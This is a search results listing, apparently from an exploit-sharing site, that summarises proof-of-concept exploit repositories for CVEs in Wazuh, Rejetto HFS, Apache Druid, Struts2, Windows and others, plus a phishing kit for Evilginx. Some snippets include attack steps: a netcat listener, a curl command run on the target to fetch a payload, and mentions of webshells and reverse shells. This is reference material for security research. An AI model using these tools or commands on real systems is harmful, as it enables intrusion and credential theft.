12878 matches found
vulnerability-poc
Vulnerability PoC Repository Curated Proof-of-Concept PoC code, test labs, and prevention rules for high-severity CVEs — built for authorized security testing, penetration testing, CTF challenges, and security research. Maintained by the SeekersLab team. Every entry ships with detection-only PoC...
frameless-bitb
Frameless BITB Une nouvelle approche du Browser In The Browser BITB sans utiliser d'iframes, permettant de contourner les framebusters traditionnels implémentés par les pages de connexion comme celles de Microsoft. Ce code POC est conçu pour utiliser ce nouveau BITB avec Evilginx, ainsi qu'un...
CVE-2021-26814
CVE-2021-26814 Un PoC simple en Python para explotar CVE-2021-26814 y obtener RCE en Wazuh Manager v.4.0.0-4.0.3 a través del servicio API. Para ejecutarlo, simplemente haga el script .py ejecutable y ejecútelo con los parámetros requeridos. root@kitploit: PoC.py -h -user USERNAME -pwd PASSWORD...
CVE-2023-46818
CVE-2023-46818 PoC Esta es una implementación en Python del PoC proporcionado por Egidio Romano alias EgiX Aquí, este exploit te proporcionará una webshell, para una shell completamente interactiva ejecuta un comando y envíate un reverse shell. Uso root@kitploit: python exploit.py http://localhos...
dora
dora Características Extremadamente rápido ya que utilizamos ripgrep en el backend Pasos de explotación/PoC para muchas de las claves API, lo que permite redactar un buen informe para la caza de recompensas por errores A diferencia de muchos otros buscadores de claves API, dora también muestra la...
CVE-2018-6574
CVE-2018-6574 Vulnerble-code PoC para explotar CVE-2018-6574 en Pentesterlab!!...
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 Este repositorio contiene una explicación detallada y un PoC funcional para la ejecución remota de comandos en Rejetto HTTP File Server HFS 2.3.x. Configuración: Crea un listener con netcat. root@kitploit: nc -lnvp 1234 Cambia la IP del...
CVE-2024-32019-poc
CVE-2024-32019-poc PoC de Netdata ndsudo Compila el binario: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme Ejecuta el script bash: root@kitploit: bash exploit.sh En la máquina objetivo ejecuta en un directorio con permisos de escritura: root@kitploit: curl http://:8000/payload....
CVE-2019-3980
CVE-2019-3980 Explotación de CVE-2019-3980 escrita en win32/c++ dependencia de openssl. Puerto de https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py Instrucciones Este PoC requiere bibliotecas openssl enlazadas estáticamente. Coloca los includes de openssl en...
CVE-2022-30190
CVE-2022-30190 Usage Windows only Create docx file: $ PoC.py docx your-host-ip Run server directly: $ PoC.py host...
RCE-PoC-CVE-2021-25646
CVE-2021-25646 Prueba de Concepto Versión en Go Resumen Este repositorio contiene una prueba de concepto PoC para CVE-2021-25646, una vulnerabilidad crítica de ejecución remota de código en Apache Druid. El exploit está escrito en Go y permite la inyección de comandos de forma interactiva a travé...
CVE-2020-2969
CVE-2020-2969 El PoC para CVE-2020-2969 está documentado aquí: https://packetstormsecurity.com/files/179027/Oracle-Database-Password-Hash-Unauthorized-Access.html...
cve-2018-12386
Exploit de RCE en Firefox con sandbox CVE-2018-12386 Aquí hay un exploit simple para la vulnerabilidad CVE-2018-12386 encontrada por Niklas Baumstark, Samuel Groß y Bruno Keith. Esto es principalmente una PoC que hice por diversión, no hay evasión del sandbox y solo funcionará en una configuració...
bucky
El proyecto está en espera temporal. Bucky Bucky es una herramienta automática diseñada para descubrir configuraciones incorrectas de buckets S3. Bucky consta de dos módulos: el complemento de Firefox de Bucky y el motor backend de Bucky. El complemento de Bucky lee el código fuente de las página...
struts2-jakarta-inject
POC Exploit para CVE-2017-5638 Utilice este exploit únicamente en sistemas de su propiedad o sobre los que tenga permisos explícitos para realizar pruebas Instalación Si ya tiene go instalado en su computadora, go get es la forma de hacerlo go get github.com/Greynad/struts2-jakarta-inject Uso...
DLLHijackingScanner
UAC bypass - DLL hijacking Description This is a PoC for bypassing UAC using DLL hijacking and abusing the "Trusted Directories" verification. Summary Generate Header from CSV Arguments Generate the list of vulnerable PE and DLL DLLHijacking.exe Log file Execution Result test.dll Sources Generate...
CVE-2023-36874
CVE-2023-36874 Solo con fines de demostración. El exploit funciona en clientes/servidores Windows vulnerables. Compila el código y crea los directorios c:\test\system32. Coloca tu wermgr.exe en ese directorio y ejecuta el PoC compilado...
Out-FINcodedCommand
Out-FINcodedCommand v1.0 Introducción Out-FINcodedCommand es un script POC compatible con PowerShell v2.0+ diseñado para resaltar varias técnicas de ofuscación utilizadas por actores de amenazas FIN. Las principales técnicas de ofuscación destacadas en esta herramienta son: 1. la funcionalidad de...
CVE-2023-3460
CVE-2023-3460 Exploit para CVE-2023-3460 - Acceso de administrador no autorizado para el plugin Ultimate Member. PoC ya está publicado. ¡Fue creado solo con fines educativos/de investigación! ¡Úselo bajo su propio riesgo! gracias a ©gbrsh, mejoré un poco la herramienta...